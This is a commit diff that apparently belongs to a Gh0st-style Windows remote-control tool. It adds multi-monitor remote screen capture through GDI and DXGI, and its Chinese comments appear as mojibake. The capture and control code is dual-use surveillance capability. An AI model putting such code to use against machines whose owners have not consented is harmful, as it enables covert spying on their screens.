Improve: Support multiple screen desktop monitoring
This commit is contained in:
@@ -593,6 +593,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
UserParam* user = new UserParam{ ulLength > 1 ? new BYTE[ulLength - 1] : nullptr, int(ulLength-1) };
|
UserParam* user = new UserParam{ ulLength > 1 ? new BYTE[ulLength - 1] : nullptr, int(ulLength-1) };
|
||||||
if (ulLength > 1) {
|
if (ulLength > 1) {
|
||||||
memcpy(user->buffer, szBuffer + 1, ulLength - 1);
|
memcpy(user->buffer, szBuffer + 1, ulLength - 1);
|
||||||
|
if (ulLength > 2 && !m_conn->IsVerified()) user->buffer[2] = 0;
|
||||||
}
|
}
|
||||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType());
|
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType());
|
||||||
m_hThread[m_ulThreadCount].user = user;
|
m_hThread[m_ulThreadCount].user = user;
|
||||||
|
|||||||
@@ -84,6 +84,25 @@ private:
|
|||||||
|
|
||||||
class ScreenCapture
|
class ScreenCapture
|
||||||
{
|
{
|
||||||
|
private:
|
||||||
|
static BOOL CALLBACK MonitorEnumProc(HMONITOR hMonitor, HDC hdcMonitor, LPRECT lprcMonitor, LPARAM dwData)
|
||||||
|
{
|
||||||
|
std::vector<MONITORINFOEX>* monitors = reinterpret_cast<std::vector<MONITORINFOEX>*>(dwData);
|
||||||
|
|
||||||
|
MONITORINFOEX mi;
|
||||||
|
mi.cbSize = sizeof(MONITORINFOEX);
|
||||||
|
if (GetMonitorInfo(hMonitor, &mi))
|
||||||
|
{
|
||||||
|
monitors->push_back(mi); // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD>Ϣ
|
||||||
|
}
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
std::vector<MONITORINFOEX> GetAllMonitors()
|
||||||
|
{
|
||||||
|
std::vector<MONITORINFOEX> monitors;
|
||||||
|
EnumDisplayMonitors(nullptr, nullptr, MonitorEnumProc, (LPARAM)&monitors);
|
||||||
|
return monitors;
|
||||||
|
}
|
||||||
public:
|
public:
|
||||||
ThreadPool* m_ThreadPool; // <20>̳߳<DFB3>
|
ThreadPool* m_ThreadPool; // <20>̳߳<DFB3>
|
||||||
BYTE* m_FirstBuffer; // <20><>һ֡<D2BB><D6A1><EFBFBD><EFBFBD>
|
BYTE* m_FirstBuffer; // <20><>һ֡<D2BB><D6A1><EFBFBD><EFBFBD>
|
||||||
@@ -119,13 +138,24 @@ public:
|
|||||||
|
|
||||||
m_BlockNum = 8;
|
m_BlockNum = 8;
|
||||||
m_ThreadPool = new ThreadPool(m_BlockNum);
|
m_ThreadPool = new ThreadPool(m_BlockNum);
|
||||||
|
static auto monitors = GetAllMonitors();
|
||||||
if (all)
|
static int index = 0;
|
||||||
|
if (all && !monitors.empty())
|
||||||
{
|
{
|
||||||
m_iScreenX = GetSystemMetrics(SM_XVIRTUALSCREEN);
|
int idx = index++ % (monitors.size()+1);
|
||||||
m_iScreenY = GetSystemMetrics(SM_YVIRTUALSCREEN);
|
if (idx == 0) {
|
||||||
m_ulFullWidth = GetSystemMetrics(SM_CXVIRTUALSCREEN);
|
m_iScreenX = GetSystemMetrics(SM_XVIRTUALSCREEN);
|
||||||
m_ulFullHeight = GetSystemMetrics(SM_CYVIRTUALSCREEN);
|
m_iScreenY = GetSystemMetrics(SM_YVIRTUALSCREEN);
|
||||||
|
m_ulFullWidth = GetSystemMetrics(SM_CXVIRTUALSCREEN);
|
||||||
|
m_ulFullHeight = GetSystemMetrics(SM_CYVIRTUALSCREEN);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
RECT rt = monitors[idx-1].rcMonitor;
|
||||||
|
m_iScreenX = rt.left;
|
||||||
|
m_iScreenY = rt.top;
|
||||||
|
m_ulFullWidth = rt.right - rt.left;
|
||||||
|
m_ulFullHeight = rt.bottom - rt.top;
|
||||||
|
}
|
||||||
} else {
|
} else {
|
||||||
//::GetSystemMetrics(SM_CXSCREEN/SM_CYSCREEN)<29><>ȡ<EFBFBD><C8A1>Ļ<EFBFBD><C4BB>С<EFBFBD><D0A1>
|
//::GetSystemMetrics(SM_CXSCREEN/SM_CYSCREEN)<29><>ȡ<EFBFBD><C8A1>Ļ<EFBFBD><C4BB>С<EFBFBD><D0A1>
|
||||||
//<2F><><EFBFBD>統<EFBFBD><E7B5B1>Ļ<EFBFBD><C4BB>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD>Ϊ125%ʱ<><CAB1><EFBFBD><EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļ<EFBFBD><C4BB>С<EFBFBD><D0A1>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD>1.25<EFBFBD>Ŷ<EFBFBD>
|
//<2F><><EFBFBD>統<EFBFBD><E7B5B1>Ļ<EFBFBD><C4BB>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD>Ϊ125%ʱ<><CAB1><EFBFBD><EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļ<EFBFBD><C4BB>С<EFBFBD><D0A1>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD>1.25<EFBFBD>Ŷ<EFBFBD>
|
||||||
@@ -411,6 +441,8 @@ public:
|
|||||||
pt.x *= m_wZoom;
|
pt.x *= m_wZoom;
|
||||||
pt.y *= m_hZoom;
|
pt.y *= m_hZoom;
|
||||||
}
|
}
|
||||||
|
pt.x += m_iScreenX;
|
||||||
|
pt.y += m_iScreenY;
|
||||||
}
|
}
|
||||||
|
|
||||||
// <20><>ȡλͼ<CEBB>ṹ<EFBFBD><E1B9B9>Ϣ
|
// <20><>ȡλͼ<CEBB>ṹ<EFBFBD><E1B9B9>Ϣ
|
||||||
|
|||||||
@@ -9,6 +9,7 @@
|
|||||||
#include <d3d11.h>
|
#include <d3d11.h>
|
||||||
|
|
||||||
#pragma comment(lib, "d3d11.lib")
|
#pragma comment(lib, "d3d11.lib")
|
||||||
|
#pragma comment(lib, "dxgi.lib")
|
||||||
|
|
||||||
// author: ChatGPT
|
// author: ChatGPT
|
||||||
// update: 962914132@qq.com
|
// update: 962914132@qq.com
|
||||||
@@ -24,7 +25,7 @@ private:
|
|||||||
public:
|
public:
|
||||||
ScreenCapturerDXGI(BYTE algo, int gop = DEFAULT_GOP, BOOL all = FALSE) : ScreenCapture(32, algo, all) {
|
ScreenCapturerDXGI(BYTE algo, int gop = DEFAULT_GOP, BOOL all = FALSE) : ScreenCapture(32, algo, all) {
|
||||||
m_GOP = gop;
|
m_GOP = gop;
|
||||||
InitDXGI();
|
InitDXGI(all);
|
||||||
Mprintf("Capture screen with DXGI: GOP= %d\n", m_GOP);
|
Mprintf("Capture screen with DXGI: GOP= %d\n", m_GOP);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -36,26 +37,38 @@ public:
|
|||||||
SAFE_DELETE_ARRAY(m_RectBuffer);
|
SAFE_DELETE_ARRAY(m_RectBuffer);
|
||||||
}
|
}
|
||||||
|
|
||||||
void InitDXGI() {
|
void InitDXGI(BOOL all) {
|
||||||
|
m_iScreenX = 0;
|
||||||
|
m_iScreenY = 0;
|
||||||
// 1. <20><><EFBFBD><EFBFBD> D3D11 <20>豸
|
// 1. <20><><EFBFBD><EFBFBD> D3D11 <20>豸
|
||||||
D3D11CreateDevice(nullptr, D3D_DRIVER_TYPE_HARDWARE, NULL, 0, nullptr, 0, D3D11_SDK_VERSION, &d3dDevice, nullptr, &d3dContext);
|
D3D11CreateDevice(nullptr, D3D_DRIVER_TYPE_HARDWARE, NULL, 0, nullptr, 0, D3D11_SDK_VERSION, &d3dDevice, nullptr, &d3dContext);
|
||||||
|
|
||||||
IDXGIDevice * dxgiDevice = nullptr;
|
IDXGIFactory1* pFactory = nullptr;
|
||||||
IDXGIAdapter* dxgiAdapter = nullptr;
|
IDXGIAdapter1* dxgiAdapter = nullptr;
|
||||||
IDXGIOutput* dxgiOutput = nullptr;
|
IDXGIOutput* dxgiOutput = nullptr;
|
||||||
IDXGIOutput1* dxgiOutput1 = nullptr;
|
IDXGIOutput1* dxgiOutput1 = nullptr;
|
||||||
|
|
||||||
do {
|
// 2. <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
// 2. <20><>ȡ DXGI <20>豸
|
CreateDXGIFactory1(__uuidof(IDXGIFactory1), (void**)&pFactory);
|
||||||
d3dDevice->QueryInterface(__uuidof(IDXGIDevice), (void**)&dxgiDevice);
|
if (!pFactory) return;
|
||||||
if(!dxgiDevice)break;
|
|
||||||
|
|
||||||
// 3. <20><>ȡ DXGI <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
do {
|
||||||
dxgiDevice->GetAdapter(&dxgiAdapter);
|
// 3. <20><>ȡ<EFBFBD>豸
|
||||||
|
static UINT idx = 0;
|
||||||
|
idx = pFactory->EnumAdapters1(idx, &dxgiAdapter) == DXGI_ERROR_NOT_FOUND ? 0 : idx;
|
||||||
|
if (!dxgiAdapter) pFactory->EnumAdapters1(idx, &dxgiAdapter);
|
||||||
if (!dxgiAdapter)break;
|
if (!dxgiAdapter)break;
|
||||||
|
|
||||||
// 4. <20><>ȡ DXGI <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļ<EFBFBD><C4BB>
|
// 4. <20><>ȡ DXGI <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļ<EFBFBD><C4BB>
|
||||||
dxgiAdapter->EnumOutputs(0, &dxgiOutput);
|
static UINT screen = 0;
|
||||||
|
HRESULT r = dxgiAdapter->EnumOutputs(screen++, &dxgiOutput);
|
||||||
|
if (r == DXGI_ERROR_NOT_FOUND && all) {
|
||||||
|
screen = 0;
|
||||||
|
idx ++;
|
||||||
|
dxgiAdapter->Release();
|
||||||
|
dxgiAdapter = nullptr;
|
||||||
|
continue;
|
||||||
|
}
|
||||||
if (!dxgiOutput)break;
|
if (!dxgiOutput)break;
|
||||||
|
|
||||||
// 5. <20><>ȡ DXGI <20><><EFBFBD><EFBFBD> 1
|
// 5. <20><>ȡ DXGI <20><><EFBFBD><EFBFBD> 1
|
||||||
@@ -99,13 +112,15 @@ public:
|
|||||||
m_FirstBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage + 1];
|
m_FirstBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage + 1];
|
||||||
m_NextBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage + 1];
|
m_NextBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage + 1];
|
||||||
m_RectBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage * 2 + 12];
|
m_RectBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage * 2 + 12];
|
||||||
} while (false);
|
|
||||||
|
break;
|
||||||
|
} while (true);
|
||||||
|
|
||||||
// <20>ͷ<EFBFBD> DXGI <20><>Դ
|
// <20>ͷ<EFBFBD> DXGI <20><>Դ
|
||||||
if (dxgiOutput1) dxgiOutput1->Release();
|
if (dxgiOutput1) dxgiOutput1->Release();
|
||||||
if (dxgiOutput) dxgiOutput->Release();
|
if (dxgiOutput) dxgiOutput->Release();
|
||||||
if (dxgiAdapter) dxgiAdapter->Release();
|
if (dxgiAdapter) dxgiAdapter->Release();
|
||||||
if (dxgiDevice) dxgiDevice->Release();
|
if (pFactory) pFactory->Release();
|
||||||
}
|
}
|
||||||
|
|
||||||
bool IsInitSucceed() const {
|
bool IsInitSucceed() const {
|
||||||
|
|||||||
@@ -829,12 +829,6 @@ void CScreenSpyDlg::OnMouseMove(UINT nFlags, CPoint point)
|
|||||||
{
|
{
|
||||||
if (!m_bMouseTracking)
|
if (!m_bMouseTracking)
|
||||||
{
|
{
|
||||||
// 第一次进入,开始追踪 WM_MOUSELEAVE
|
|
||||||
TRACKMOUSEEVENT tme = { sizeof(TRACKMOUSEEVENT) };
|
|
||||||
tme.dwFlags = TME_LEAVE;
|
|
||||||
tme.hwndTrack = m_hWnd;
|
|
||||||
TrackMouseEvent(&tme);
|
|
||||||
|
|
||||||
m_bMouseTracking = true;
|
m_bMouseTracking = true;
|
||||||
SetClassLongPtr(m_hWnd, GCLP_HCURSOR, m_bIsCtrl ? (LONG_PTR)m_hRemoteCursor : (LONG_PTR)LoadCursor(NULL, IDC_NO));
|
SetClassLongPtr(m_hWnd, GCLP_HCURSOR, m_bIsCtrl ? (LONG_PTR)m_hRemoteCursor : (LONG_PTR)LoadCursor(NULL, IDC_NO));
|
||||||
}
|
}
|
||||||
|
|||||||
Reference in New Issue
Block a user